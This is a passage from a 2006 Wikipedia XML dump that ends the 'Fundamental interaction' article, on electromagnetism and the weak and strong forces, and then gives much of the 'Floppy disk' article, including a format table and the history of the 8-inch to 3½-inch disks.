Electromagnetism is a long-ranged force that is relatively strong, and therefore describes almost all phenomena of our everyday experience&amp;mdash;phenomena ranging all the way from [[laser]]s and [[radio]]s to the structure of [[atoms]] and the structure of [[metal]]s to [[friction]] and [[rainbow]]s.

Electrical and magnetic phenomena have been observed since ancient times, but it was only in the 1800s that it was discovered that these are two aspects of the same fundamental interaction.  By [[1864]], [[Maxwell's equations]] had rigorously quantified the unified phenomenon.  In [[1905]], [[special relativity]] resolved the issue of the constancy of the speed of light, and Einstein explained the [[photoelectric effect]] by theorizing that light was transmitted in quanta, which we now call [[photon]]s.  Starting around [[1927]], [[Paul Dirac]] unified quantum mechanics with [[special relativity]]; [[quantum electrodynamics]] was completed in the [[1940s]].

[[Theodor Kaluza]] in [[1919]] noticed a curious property of electromagnetism, namely that Maxwell's classical (non-quantum) theory of electromagnetism arises naturally from the equations of [[general relativity]] with the assumption that there is an extra fourth dimension of space.  This property is the basis of [[Kaluza-Klein theory|Kaluza-Klein theories]] which have been used to formulate a theory of quantum gravity.

===Weak interaction===
:''Main article: [[Weak interaction]]''

The ''weak interaction'' or ''weak nuclear force'' is responsible for some phenomena at the scale of the atomic nucleus, such as [[beta decay]]. Electromagnetism and the weak force were theoretically understood to be two aspects of a unified [[electroweak interaction]] - this was the first step toward the unified theory known as the [[Standard Model]]. In electroweak theory, the carriers of the weak force are massive [[gauge boson]]s called the [[W and Z bosons]]. The weak force is an example of a physical theory in which [[parity (physics)|parity]] is not conserved; it is left-right asymmetric. (But [[CPT symmetry]] is conserved.)

===Strong interaction===
:''Main article: [[Strong interaction]]''

[[Nucleon]]s are held together in the [[atomic nucleus]] by the ''strong interaction'' or ''strong nuclear force''. This force is unrelated to [[electric charge]]. One of the main effects of the strong force is that it tightly holds two [[proton]]s together in the [[helium]] nucleus, despite their tremendous [[electromagnetism|electric repulsion]].

The quantum theory of the strong force is called [[quantum chromodynamics]] or QCD. In QCD, the strong force is carried by particles called [[gluon]]s and it acts between particles that carry a &quot;color charge&quot;, [[quark]]s and gluons. Composite particles such as nucleons or [[meson]]s are made up out of quarks.

==Current developments==

The [[Standard Model]] is a [[SU(3)XSU(2)XU(1)|unified]] [[quantum mechanics|quantum mechanical]] theory of three fundamental forces&amp;mdash;electromagnetism, weak interactions and strong interactions. Currently, there is no accepted candidate for a theory of [[quantum gravity]]. The search for an acceptable theory of quantum gravity, and a quantum mechanical [[grand unified theory]], are important areas of current physics research. Until such a search is successful, the gravitational interaction cannot be considered as a force because it is of a geometrical rather than dynamical nature. Particles are thought to be moving as they do because the curvature of spacetime directs their movement, and not because they are pushed or pulled by forces resulting from the exchange of gravitons.

One important aspect of Quantum Mechanics, however, is that it allows for different ways of looking at things, such as gravity. One way of looking at it is as a force field, another way of looking at it is as curvature of spacetime and a last way of looking at it is as the exchange of gravitons. The equations can be rearranged to represent all three different points of view.

An exotic [[fifth force]] has been proposed by some physicists from time to time, mostly to explain discrepancies between predicted and measured values of the [[gravitational constant]]. [[As of 2006]], all of the experiments which seem to indicate a fifth force have been explainable in terms of experimental errors.

==References==
* Feynman, Richard P. (1967). ''The Character of Physical Law''. MIT Press. ISBN 0262560038
* Weinberg, S. (1993). ''The First Three Minutes: A Modern View of the Origin of the Universe''. Basic Books. ISBN 0465024378
* Weinberg, S. (1994). ''Dreams of a Final Theory''. Vintage Books USA. ISBN 0679744088
* Padmanabhan, T. (1998). ''After The First Three Minutes: The Story of Our Universe''. Cambridge University Press. ISBN 0521629721

==See also==

* [[Physics]]
** [[History of physics]] 
** [[Physics basic topics|Basic physics topics]]
** [[Quantum mechanics]]

* [[Particle physics]]
** [[Elementary particle]]
** [[Particle accelerator]]
** [[List of particles]] 

* [[Standard Model]]
** [[Standard Model (basic details)|Formulation]]
** [[Strong interaction]]
** [[Electroweak interaction]]
** [[Weak interaction]] 

* [[Gravity]]
** [[Quantum gravity]]
** [[Big Bang]]

* ''People'': [[Isaac Newton]], [[James Clerk Maxwell]], [[Albert Einstein]], [[Abdus Salam]], [[Steven Weinberg]], [[Gerardus 't Hooft]], [[David Gross]], [[Edward Witten]]

[[Category:Interaction]]
[[Category:Force]]

[[ca:Forces fonamentals]]
[[cs:Základní interakce]]
[[da:Naturkræfter]]
[[de:Grundkräfte der Physik]]
[[es:Fuerzas Fundamentales]]
[[eo:Fundamenta forto]]
[[fr:Interaction élémentaire]]
[[ko:기본 상호작용]]
[[he:כוחות היסוד]]
[[hu:Alapvető kölcsönhatások]]
[[nl:Fundamentele natuurkracht]]
[[id:Interaksi dasar]]
[[ja:基本相互作用]]
[[pl:Oddziaływania podstawowe]]
[[ru:Фундаментальные взаимодействия]]
[[sl:Osnovna sila]]
[[fi:Perusvuorovaikutus]]
[[sv:Fundamental kraft]]
[[vi:Lực cơ bản]]
[[tr:Temel kuvvetler]]
[[zh:基本相互作用]]</text>
    </revision>
  </page>
  <page>
    <title>Floppy disk</title>
    <id>10891</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41916293</id>
      <timestamp>2006-03-02T16:25:17Z</timestamp>
      <contributor>
        <ip>200.114.133.23</ip>
      </contributor>
      <comment>/* The 3½-inch microfloppy diskette */  minor style improvement</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:Image3%2C5%27%27-Diskette_removed.jpg|100px|right]]
A '''floppy disk''' is a [[data storage device]] that is composed of a [[annulus|ring]] of thin, flexible (i.e. &quot;floppy&quot;) [[magnetic storage]] medium encased in a [[square (geometry)|square]] or [[rectangle|rectangular]] [[plastic]] wallet. Floppy disks are read and written by a '''floppy disk drive''' or '''FDD''', the latter initialism not to be confused with &quot;fixed disk drive&quot;, which is an old [[IBM]] term for a [[hard disk|hard disk drive]].
&lt;!--right aligning stuff has a tendency to cause overlapping in situations like this, nested tables tend to work better--&gt;
&lt;table border=0 cellpadding=0 cellspacing=0 width=100%&gt;
&lt;tr&gt;&lt;td valign=top&gt;
__TOC__
&lt;td width=42&gt;&lt;!--make sure at least some gap stays here--&gt;
&lt;td valign=top align=right width=53%&gt;
{| class=&quot;wikitable&quot;
|+ align=&quot;bottom&quot;|''Historical sequence of floppy disk formats, including the last format to be generally adopted &amp;mdash; the &quot;1.44 MB&quot; 3½-inch HD floppy, introduced 1987''.
|-
!align=&quot;center&quot; width=28%|Floppy disk format
!align=&quot;center&quot; width=22%|Year introduced
!align=&quot;center&quot; width=28%|Storage capacity&lt;br&gt;([[kibibyte|binary kilobytes]] if not stated)
!align=&quot;center&quot; width=22%|Marketed&lt;br&gt;capacity
|-
|8-inch (read-only)
|align=&quot;center&quot;|1971
|align=&quot;right&quot;|80
|align=&quot;right&quot;|←
|-
|8-inch
|align=&quot;center&quot;|1973
|align=&quot;right&quot;|256
|align=&quot;right&quot;|256 KB
|-
|8-inch [[double density|DD]]
|align=&quot;center&quot;|1976
|align=&quot;right&quot;|500
|align=&quot;right&quot;|0.5 MB
|-
|5¼-inch
|align=&quot;center&quot;|1976
|align=&quot;right&quot;|110[[to be confirmed|?]]
|align=&quot;right&quot;|←
|-
|8-inch double sided
|align=&quot;center&quot;|1977
|align=&quot;right&quot;|1200
|align=&quot;right&quot;|1.2 MB
|-
|5¼-inch DD
|align=&quot;center&quot;|1978
|align=&quot;right&quot;|360
|align=&quot;right&quot;|360 KB
|-
|3½-inch&lt;br/&gt;HP single sided
|align=&quot;center&quot;|1982
|align=&quot;right&quot;|&lt;!--256×16×70 = --&gt;280
|align=&quot;right&quot;|264 KB
|-
|3-inch
|align=&quot;center&quot;|1982[[to be confirmed|?]]
|align=&quot;right&quot;|360[[to be confirmed|?]]
|align=&quot;right&quot;|←
|-
|3½-inch (DD at release)
|align=&quot;center&quot;|1984
|align=&quot;right&quot;|720
|align=&quot;right&quot;|720 KB
|-
|5¼-inch QD
|align=&quot;center&quot;|1984
|align=&quot;right&quot;|1200
|align=&quot;right&quot;|1.2 MB
|-
|3-inch DD
|align=&quot;center&quot;|1984[[to be confirmed|?]]
|align=&quot;right&quot;|720[[to be confirmed|?]]
|align=&quot;right&quot;|←
|-
|3-inch&lt;br/&gt;Mitsumi Quick Disk&lt;!--I guess we should refer to the size of the disks themselves, not the plastic cartridges (3x4″ in this case). --Wernher--&gt;
|align=&quot;center&quot;|1985
|align=&quot;right&quot;|128 to 256
|align=&quot;right&quot;|←
|-
|2-inch 
|align=&quot;center&quot;|1985[[to be confirmed|?]]
|align=&quot;right&quot;|720[[to be confirmed|?]]
|align=&quot;right&quot;|←
|-
|5¼-inch Perpendicular
|align=&quot;center&quot;|1986[[to be confirmed|?]]
|align=&quot;right&quot;|100 [[mebibyte|MiB]]
|align=&quot;right&quot;|←
|-
|3½-inch HD
|align=&quot;center&quot;|1987
|align=&quot;right&quot;|1440
|align=&quot;right&quot;|1.44 MB
|-
|3½-inch ED
|align=&quot;center&quot;|1991
|align=&quot;right&quot;|2880
|align=&quot;right&quot;|2.88 MB
|-
|3½-inch LS-120
|align=&quot;center&quot;|1996
|align=&quot;right&quot;|120.375 [[mebibyte|MiB]]
|align=&quot;right&quot;|120 MB
|-
|3½-inch LS-240
|align=&quot;center&quot;|1997
|align=&quot;right&quot;|240.75 MiB
|align=&quot;right&quot;|240 MB
|-
|3½-inch HiFD
|align=&quot;center&quot;|1998/99
|align=&quot;right&quot;|150/200 MiB[[to be confirmed|?]] &lt;!--that figure looks to round to be real--&gt;
|align=&quot;right&quot;|150/200 MB
|-
|colspan=4 align=&quot;center&quot;|Acronyms:&amp;nbsp;&amp;nbsp;'''DD''' = Double Density; '''QD''' = Quad Density; '''HD''' = High Density '''ED''' = Extended Density; '''LS''' = Laser Servo; '''HiFD''' = High capacity Floppy Disk
|-
|colspan=4 align=&quot;left&quot;|Dates and capacities marked [[to be confirmed|?]] are of unclear origin and need source information; other listed capacities refer to:&lt;br&gt;
*For 8-inch: standard [[IBM]] formats as used by the [[System/370]] mainframes and newer systems
*For 5¼- and 3½-inch: standard PC formats, capacities quoted are the total size of all sectors on the disk and include space used for the bootsector and filesystem
Other formats may get more or less capacity from the same drives and disks.
|}
&lt;/table&gt;

== Background ==
Floppy disks, also known as '''floppies''' or '''diskettes''' (a name chosen in order to be similar to the word &quot;cassette&quot;), were ubiquitous in the 1980s and 1990s, being used on [[home computer|home]] and [[personal computer]] (&quot;PC&quot;) platforms such as the [[Apple II family|Apple II]], [[Apple Macintosh|Macintosh]], [[Commodore 64]], [[Amiga]], and [[IBM PC]] to distribute software, transfer data between computers, and create small [[backup]]s. Before the popularization of the hard drive for PCs, floppy disks were often used to store a computer's [[operating system|operating system (OS)]], [[software application|application software]], and other data. Many home computers had their primary OS [[kernel (computer science)|kernel]]s stored permanently in on-board [[read-only memory|ROM]] chips, but stored the [[disk operating system]] on a floppy, whether it be a proprietary system, [[CP/M]], or, later, [[DOS]].

By the early 1990s, the increasing size of software meant that many programs were distributed on sets of floppies. Toward the end of the 1990s, software distribution gradually switched to [[CD-ROM]], and higher-density backup formats were introduced (e.g., the [[Iomega]] [[Zip drive|Zip disk]]). With the arrival of mass [[Internet]] access, cheap [[Ethernet]] and [[Universal Serial Bus|USB]] &quot;[[keydrive]]s&quot;, the floppy was no longer necessary for data transfer either, and the floppy disk was essentially superseded. Mass backups were now made to high capacity [[magnetic tape#magnetic tape data storage|tape drive]]s such as [[Digital Audio Tape|DAT]] or [[streamer]]s, or written to [[compact disc|CD]]s or [[DVD]]s. One unsuccessful (in the marketplace) attempt in the late 1990s to continue the floppy was the [[SuperDisk]] (LS-120), with a capacity of 120 MB (actually 120.375 MiB&lt;!--- 6848 cylinders x 36 blocks/cylinder x 512 bytes; see http://linuxcommand.org/man_pages/floppy8.html ---&gt;), while the drive was backward compatible with standard 3½-inch floppies.

Nonetheless, manufacturers were reluctant to remove the floppy drive from their PCs, for backward compatibility, and because many companies' [[information technology|IT]] departments appreciated a built-in file transfer mechanism that always worked and required no [[device driver]] to operate properly. [[Apple Computer]] was the first mass-market computer manufacturer to drop the floppy drive from a computer model altogether with the release of their [[iMac]] model in 1998, and [[Dell, Inc.|Dell]] made the floppy drive optional in some models starting in 2003. To date, however, these moves have still not marked the end of the floppy disk as a mainstream means of data storage and exchange.

External [[Universal Serial Bus|USB]]-based floppy disk drives are available for computers without floppy drives, and they work on any machine that supports USB.

Floppy disk sizes are almost universally referred to in [[imperial measurement]]s, even in countries where [[SI|metric]] is the standard, and even when the size is in fact defined in metric (for instance the 3½-inch floppy). Formatted capacities are generally set in terms of binary kilobytes (as 1 sector is generally 512 bytes). However, recent sizes of floppy are often referred to in a strange hybrid unit, &lt;!-- does anyone know where this practice started?--&gt;i.e. a &quot;1.44 megabyte&quot; floppy is 1.44×1000×1024 bytes, not 1.44×1024×1024 bytes nor 1.44×1000×1000.&lt;!--- (I'm removing this because other editors may not have followed this directive) In the rest of this article kilobyte (or K or k) should be taken to mean the binary kilobyte and we have avoided the use of the term megabyte without clarification. ---&gt;

==History==

===Origins, the 8-inch disk===
{{see also|Table of 8-inch floppy formats}}

[[Image:8-inch floppy driver.jpg|right|thumbnail|200px|An 8-inch disk drive with a half-inserted floppy disk.]]In 1967 [[International Business Machines|IBM]] gave their [[San Jose, California]] storage development center a new task: develop a simple and inexpensive system for loading [[microcode]] into their [[System/370]] [[IBM mainframe|mainframe]]s. The 370s were the first IBM machines to use semiconductor memory, and whenever the power was turned off the microcode had to be reloaded ([[magnetic core memory|'magnetic core' memory]], used in the 370s' predecessors, the [[System/360]] line, did not lose its contents when powered down). Normally this task would be left to various [[tape drive]]s which almost all 370 systems included, but tapes were large and slow. IBM wanted something faster and more purpose-built that could also be used to send out updates to customers for $5.

David Noble, working under the direction of [[Alan Shugart]], tried a number of existing solutions to see if he could develop a new-style tape for the purpose, but eventually gave up and started over. The result was a read-only, 8-inch (20 cm) floppy they called the &quot;memory disk&quot;, holding 80 [[kilobyte]]s. The original versions were simply the disk itself, but dirt became a serious problem and they enclosed it in a plastic envelope lined with fabric that would pick up the dirt. The new device became a standard part of the 370 in 1971.

A [[Japan]]ese inventor, [[Yoshiro Nakamatsu]] (aka Dr.&amp;#xA0;NakaMats), claims he independently came up with the floppy disk principle back in 1950, and so a sales license had to be acquired by IBM when they started manufacturing their floppy disk systems.

In 1973 IBM released a new version of the floppy, this time on the 3740 Data Entry System. The new system used a different recording format that stored up to 250¼ KB on the same disks, and was read-write. These drives became common, and soon were being used to move smaller amounts of data around, almost completely replacing [[magnetic tape]]s.

The IBM standard soft-sectored disk format was designed to hold just as much data as one box of [[punch cards]]. The disk was divided into 77 tracks of 26 sectors, each holding 128 bytes. Note that 77×26 = 2002 sectors, whereas a box of punch cards held 2000 cards. 

When the first [[microcomputer]]s were being developed in the 1970s, the 8-inch floppy found a place on them as one of the few &quot;high speed, mass storage&quot; devices that were even remotely affordable to the target market (individuals and small businesses). The first microcomputer operating system, [[CP/M operating system|CP/M]], originally shipped on 8-inch disks. However, the drives were still expensive, typically costing more than the computer they were attached to in early days, so most machines of the era used [[compact audio cassette|cassette tape]] instead.

This began to change with the acceptance of the first standard for the floppy disk, [[ECMA|ECMA International]]-59, authored by Jim O'Reilly of [[Burroughs]], Helmuth Hack of [[BASF]] and others. O'Reilly set a record for maneuvering this document through ECMA's approval process, with the standard sub-committee being formed in one meeting of ECMA and approval of a draft standard in the next meeting three months later. This standard later formed the basis for the ANSI standard too. Standardization brought together a variety of competitors to make media to a single interchangeable standard, and allowed rapid quality and cost improvement. 

By this time Alan Shugart had left IBM, moved to [[Memorex]] for a brief time, and then again in 1973 to found [[Shugart Associates]]. They started working on improvements to the existing 8-inch format, eventually creating a new 800 kB system. However, profits were hard to find, and in 1974 he was forced out of his own company.

Burroughs Corporation, meanwhile, was developing a high-performance dual-sided 8-inch drive at their Glenrothes, Scotland factory. With a capacity of 1 MB (MiB), this unit exceeded IBM's drive capacity by 4 times, and was able to provide enough space to run all the software and store data on the new Burrough's B80 data entry system, which incidentally had the first VLSI disk controller in the industry. The dual-sided 1MB floppy entered production in 1975, but was plagued by an industry problem, poor media quality. There were few tools available to test media for 'bit-shift' on the inner tracks, which made for high error rates, and the result was a substantial investment by Burroughs in a media tester design that they then gave to media makers as a quality control tool, leading to a vast improvement in yields.

===The 5¼-inch minifloppy===
[[Image:Floppy disk 5.25 inch.JPG|right|thumb|200px|A 5¼-inch disk with a partly exposed magnetic medium spun about a central hub for reading. The flexible plastic cover contains a cloth inner liner to brush dust from the medium. Note the &quot;write-enable slot&quot; to the upper right (confusingly also called a &quot;write-protect notch&quot;).]]

This format is also known as 5.25-inch.

In 1975, Burroughs' plant in Glenrothes developed a prototype 5¼-inch drive, stimulated both by the need to overcome the larger 8-inch floppy's asymmetric expansion properties with changing humidity, and, to reflect the knowledge that IBM's audio recording products division was demonstrating a dictation machine using 5¼-inch disks. In one of the industry's historic gaffes, Burroughs corporate management decided it would be &quot;too inexpensive&quot; to make enough money, and shelved the program.

In 1976 one of [[Shugart Associates]]'s employees, [[Jim Adkisson]], was approached by [[An Wang]] of [[Wang Laboratories]], who felt that the 8-inch format was simply too large for the desktop [[word processing]] machines he was developing at the time. After meeting in a bar in Boston, Adkisson asked Wang what size he thought the disks should be, and Wang pointed to a napkin and said &quot;about that size&quot;. Adkisson took the napkin back to California, found it to be 5¼-inches (13 cm) wide, and developed a new drive of this size storing 110 KB &lt;!--- Confirmation required, but seems to be (48 tpi SSSD) 40 tracks * 11 blocks/track * 256 bytes ---&gt;.

The 5¼-inch drive was considerably less expensive than 8-inch drives from IBM, and soon started appearing on CP/M machines. At one point Shugart was producing 4,000 drives a day. By 1978 there were more than 10 manufacturers producing 5¼-inch floppy drives, in competing physical disk formats: hard-sectored (90 kB) and soft-sectored (110 kB).  The 5¼-inch formats quickly displaced the 8-inch from most applications, and the 5¼-inch hard-sectored disk format eventually disappeared. These early drives read only one side of the disk, leading to the popular budget approach of cutting a second write-enable slot and index hole into the carrier envelope and flipping it over (thus, the &quot;[[flippy disk]]&quot;) to use the other side for additional storage.

[[Image:Floppy_tabs.JPG|right|thumb|250px|Floppy disk write protect tabs. These sticky paper tabs are folded over the notch in the side of a 5¼-inch disk to prevent the computer from writing data to the disk. Later disks, such as the 3½-inch disk, had a built-in slideable plastic tab to implement write-protection.]]
[[Tandon Corporation|Tandon]] introduced a double-sided drive in 1978, doubling the capacity, and a new &quot;double density&quot; format increased it again, to 360 KB &lt;!--- (48 tpi DSDD) 40*2 tracks * 9 blocks/track * 256*2 bytes; note that 8 and 10 blocks/track also existed, for 320 KiB and 400 KiB capacities (see http://www.swtpc.com/knowledgebase/kbpage1.htm) ---&gt;.

For most of the 1970s and 1980s the floppy drive was the primary storage device for [[microcomputer]]s. Since these micros had no hard drive, the OS was usually booted from one floppy disk, which was then removed and replaced by another one containing the application. Some machines using two disk drives (or one dual drive) allowed the user to leave the OS disk in place and simply change the application disks as needed. In the early 1980s, 96 track-per-inch drives appeared, increasing the capacity from 360 to 720 KB &lt;!--- (96 tpi DSDD) 80*2 tracks * 9 blocks/track * 256*2 bytes ---&gt;. These did not see widespread use, as they were not supported by IBM in its PCs. (Another oddball format was used by [[Digital Equipment Corporation]]'s [[Rainbow-100]], [[DECmate-II]] and [[Pro-350]]. It held 400 KB &lt;!--- 80*1 tracks * 10 blocks/track * 256*2 bytes ---&gt; on a single side by using 96 tracks-per-inch and cramming 10 sectors per track.) In 1984, along with the [[IBM PC/AT]], the quad density disk appeared, which used 96 tracks per inch combined with a higher density magnetic media to provide 1200 KB (1280 KiB)&lt;!--- 80*2 tracks * 8 blocks/track * 256*4 bytes (confirmation needed) ---&gt; of storage (normally and misleadingly referred to as 1.2 [[megabyte]]s). Since the usual (very expensive) [[hard disk]] held 10&amp;ndash;20 megabytes at the time, this was considered quite spacious.

By the end of the 1980s, the 5¼-inch disks had been superseded by the 3½-inch disks. Though 5¼-inch drives were still available, as were disks, they faded in popularity as the 1990s began. The main community of users was primarily those who still owned '80s legacy machines running [[MS-DOS]] that had no 3½-inch drive; the advent of [[Windows 95]] (not even sold in stores in a 5¼-inch version; a coupon had to be obtained and mailed in) and subsequent phaseout of standalone MS-DOS with version 6.22 forced many of them to upgrade their hardware. On most new computers the 5¼-inch drives were optional equipment. By the mid-1990s the drives had virtually disappeared as the 3½-inch disk became the preeminent floppy disk.

===New formats, no standard===

Throughout the early 1980s the limitations of the 5¼-inch format were starting to become clear. Originally designed to be a smaller and more practical 8-inch, the 5¼-inch system was itself too large, and as the quality of the recording media grew the same amount of data could be placed on a smaller surface. Another problem was that the 5¼-inch disks were simply copies of the 8-inch physical format, which had never really been engineered for ease of use. The thin folded-plastic shell allowed the disk to be easily damaged through bending, and allowed dirt to get onto the disk surface through the opening.

A number of solutions were developed, with drives at 2-inch, 2½-inch, 3-inch and 3½-inch (50, 60, 75 and 90 mm) all being offered by various companies. They all shared a number of advantages over the older format, including a small [[form factor]] and a rigid case with a slideable [[Write protection|write protect]] catch. The almost-universal use of the 5¼-inch format made it very difficult for any of these new formats to gain any significant market share. 

Standard 3-inch and 3½-inch disks used the same spin speed and basic hardware interface as standard 5¼-inch drives, allowing them to be used with existing controllers and formats, although new formats were later developed that relied on the higher quality hardware in the new drive types (the IBM PC in particular never officially shared a format between the two drive types, though it was possible to misidentify the drive to the OS if desired). 

====The 3-inch compact floppy disk====
[[Image:Compact Floppy.jpg|right|thumbnail|150px|The CF has a harder casing than a 3½″ floppy; the metal door is opened by a sliding plastic tab on the right side.]]

[[Amdek]] released the AmDisk Micro-Floppy-disk cartridge system in 1982. Originally designed for use with the [[Apple II]] Disk II interface card, it has also been connected to other computers successfully.

The drive itself was originally designed by [[Hitachi, Ltd.|Hitachi]], [[Matsushita]] and [[Maxell]]. Only [[Teac]] outside this &quot;network&quot; is known to have produced drives. Similarly, only three manufacturers of media ([[Maxell]], [[Matsushita]] and [[Tatung Company|Tatung]]) are known (sometimes also branded [[Yamaha Corporation|Yamaha]], [[Amsoft]], [[Panasonic]], [[Tandy]], Godexco and [[Dixons]]), but &quot;no-name&quot; disks with questionable quality have been seen in the wild.

[[Amstrad]] incorporated a 3″ single-sided drive into their [[Amstrad CPC|CPC]] and [[Amstrad PCW|PCW]] lines, and this format and the drive mechanism was later &quot;inherited&quot; by the [[ZX Spectrum|ZX Spectrum +3]] computer after Amstrad bought [[Sinclair Research Ltd|Sinclair]]. Later models of the PCW featured double-sided, double density drives.

While all 3″ media were double-sided in nature, single-sided drive owners were able to flip the disk over to use the other side. The sides were termed &quot;A&quot; and &quot;B&quot; and were completely independent, but single-sided drive units could only access the upper side at one time.&lt;!-- did the double sided drives have reversible motors?--&gt;

The disk format itself had no more capacity than the more popular (and cheap) 5¼″ floppies. Each side held 180 KiB for a total of 360 KiB per disk, and later 720 KiB for the PCW range. Unlike 5¼″ or 3½″ disks, the 3″ disks were designed to be reversible and sported two independent write-protect switches. It was also more reliable thanks to its hard casing (some reviews at the time reported driving over them with no problems).

3″ drives were also used on a number of exotic and obscure CP/M systems such as the [[Tatung Einstein]] and occasionally on [[MSX]] systems in some regions. Other computers to have used this format are the more unknown [[Gavilan]] Mobile Computer and Matsushita's National Mybrain 3000. The [[Yamaha MDR-1]] also used 3″ drives.

Not a bad format in its own right, but the main problems were the high prices, due to the quite elaborate and complex case mechanisms, and low nominal capacities. However, the tip on the weight was when [[Sony]] in 1984 convinced Apple Computer to use the 3½″ drives in the [[Macintosh 128K]] model, effectively making it a [[de-facto]] standard.

==== Mitsumi's &quot;Quick Disk&quot; 3-inch floppies ====
&lt;!--insanely long image caption, needs refactoring into the body text--&gt;
[[Image:Smith_corona_2.8_inch_3_inch_diskette.jpg|right|thumbnail|300px|A [[Smith Corona]] DataDisk 2.8″ actually measures about 3 1/32″ square.  This disk is one of the few different Mitsumi Quick Disk packages, which vary in storage capacity and casing size.  The Quick Disk uses a 2.8″ magnetic media, break-off write-protection tabs (one for each side), and contains a see-through hole near center spindle (probably used for indexing or to ensure spindle clamping).  Note the label &quot;A&quot; to indicate disk side.  The backside has a &quot;B&quot; label.]]

Another 3″ format was [[Mitsumi]]'s Quick Disk format.  The [[Quick Disk]] format is referred to in various size references: 2.8″, 3″x3″ and 3″x4″. Confusing when trying to categorize the disk but perhaps not when understood that Mitsumi offered this as OEM equipment[http://en.wikipedia.org/wiki/Original_equipment_manufacturer], expecting their VAR customers to customize the packaging for their own particular use.  Nintendo packaged the 2.8″ magnetic media in a 3″x4″ housing, while others packaged the same media in a 3″x3″ housing.  This explains the different numbering labels, while here we generically call the Mitsumi Quick Disk a 3-inch format.

The Quick Disk's most sucessful use was in Nintendo's [[Famicom Disk System]]. The FDS package of Mitumi's Quick Disk used a 3″x4″ plastic housing called the &quot;Disk System Card&quot;.  Most FDS disks did not have cover protection to prevent media contamination, but a later special series of five games did include a protective shutter. [http://www.atarihq.com/tsr/fds/disk.html]

Mitsumi's &quot;3-inch&quot; Quick Disk media was also used in a 3″x3″ housing for many Smith Corona word processors[http://en.wikipedia.org/wiki/Image:Smith_corona_2.8_inch_3_inch_diskette.jpg].  The Smith Corona disks are confusingly labeled &quot;DataDisk 2.8 inch&quot;, presumably referring to the size of the media inside the hard plastic case.

The Quick Disk was also used in several MIDI keyboards and MIDI samplers of the mid 1980s.  A non-inclusive list includes: the Roland S-10[http://www.vintagesynth.com/roland/s10.shtml][[MIDI]] keyboard, Korg SQD8 MIDI sampler[http://www.keyboardmuseum.org/ar/k/korg/s/sqd8.html], Akai's 1985 model MD280 drive for the S-612 MIDI Sampler[http://www.vintagesynth.com/akai/s612.shtml][http://www.autofunk.dk/sale/pics/akai_s612/434-3403_IMG.JPG][http://www.autofunk.dk/sale/gearsale.htm], Akai's X7000[http://www.vintagesynth.com/akai/x7000.shtml] and X3700[http://www.vintagesynth.com/akai/x3700.shtml], the Roland S-220[http://www.vintagesynth.com/roland/s220.shtml][http://www.youngmonkey.ca/background/museum/music_equipment/commercial/Roland-S220.html], and a Yamaha MDF1 for their DX7/21/100/TX7, the RX11/21/21L Drum Machine, the QX1, QX21 and QX5 digital musical devices.[http://www.synthony.com/vintage/MDF1.html]

As the cost in the 1980s to add 5.25″ drives was still quite high, the Mitsumi Quick Disk was competing as a lower cost alernative packaged in several now obscure 8-bit computer systems.  Another non-inclusive list of Quick Disk versions: QDM-01[http://www.hardwarelist.msxnet.org/product_pictures.php?s=1nfr&amp;h=aaagak&amp;agb=N&amp;agc=N&amp;agd=D&amp;aga=B&amp;manufid=75&amp;aka=A&amp;akb=A&amp;akc=N&amp;akd=N&amp;ake=A&amp;productid=316], in the Casio QD-7 drive[http://www.faq.msxnet.org/hardware.html#Casio], in a peripheral for the Sharp MZ-700 &amp; MZ-800 system[http://www.geocities.com/SiliconValley/9723/other.html], in the DPQ-280 Quickdisk for the Daewoo/Dynadata MSX1 DPC-200[http://members.chello.nl/mlampers/Homecomputers.htm][http://msx.gnu-linux.net/hardware.html], in a Dragon machine[http://www.fortunecity.com/skyscraper/disk/162/draghist.html], in the Crescent Quick Disk 128, 128i and 256 peripherals for the ZX Spectrum and ZX Spectrum[http://www.worldofspectrum.org/faq/reference/diskreference.htm], and in the Triton Quick Disk peripherial also for the ZX Spectrum and ZX Spectrum[http://www.worldofspectrum.org/hardware/feat20.html][http://www.worldofspectrum.org/faq/reference/diskreference.htm].)

The [http://www.worldofspectrum.org/WoSFAQ.html World of Spectrum FAQ] reveals that the drives did come in different sizes:  128 to 256K in Cresent's incarnation, and in the Triton system, with a density of 4410 BPI, data transmission rate of 101.6Kb/s, a 2.8″ double sided disk type and a capacity of up to 20 sectors per side at 2.5K per sector, up to 100K per disk. Elsewhere it has been reported that a Quick Disk holds 64K of data per side, requiring a manual turn-over to access the second side.

It is significant to note that the Quick Disk utilizes &quot;a continuous linear tracking of the head and thus creates a single spiral track along the disk similar to a record groove.&quot;[http://www.worldofspectrum.org/hardware/feat20.html]  This has led some to compare it more to a &quot;tape-stream&quot; unit than typically what is thought of as a random-access disk drive.[http://www.faq.msxnet.org/msx1.html]

===The 3½-inch microfloppy diskette===
[[Image:Floppy disk 90mm.JPG|right|thumbnail|200px|The non-[[ferromagnetic]] metal sliding door protects the 3½-inch floppy disk's recording medium.]]
[[Image:3,5 DD floppy (720 KB) front.jpeg|thumb|3½-inch DD (720 KB) floppy disk (front) [[:Image:3,5 DD floppy (720 KB) back.jpeg|(back)]]]]

[[Image:Floppy disk internal diagram.svg|200px|right|thumb|The basic internal components of a 3½-inch floppy disk: 1. Write-protect tab, 2. Hub, 3. Shutter, 4. Plastic housing, 5. Paper ring, 6. Magnetic disk, 7. Disk sector.]]

[[Sony]] also introduced their own small-format 90.0 × 94.0 mm disk, similar to the others but somewhat simpler in construction than the AmDisk.  The first computer to use this format was the [[HP-150]] of 1983, and Sony also used them fairly widely on their line of [[MSX]] computers. Other than this the format suffered from a similar fate as the other new formats; the 5¼-inch format simply had too much market share.

Things changed dramatically in 1984 when Apple Computer selected the format for their new [[Apple Macintosh|Macintosh]] computers, thereby forcing it to become the standard in the United States. (This is yet another example of a &quot;silent&quot; change from metric to imperial units; this product was advertised and became popularly known as the 3½-inch disk, emphasizing the fact that it was smaller than the existing 5¼-inch.) By 1989 the 3½-inch was outselling the 5¼-inch.

The 3½-inch disks had, by way of their rigid case's slide-in-place metal cover, the significant advantage of being much better protected against unintended physical contact with the disk surface when the disk was handled outside the disk drive. When the disk was inserted, a part inside the drive moved the metal cover aside, giving the drive's read/write heads the necessary access to the magnetic recording surfaces. Adding the slide mechanism resulted in a slight departure from the previous square outline. The irregular, rectangular shape had the additional merit that it made it impossible to insert the disk sideways by mistake as had indeed been possible with earlier formats.

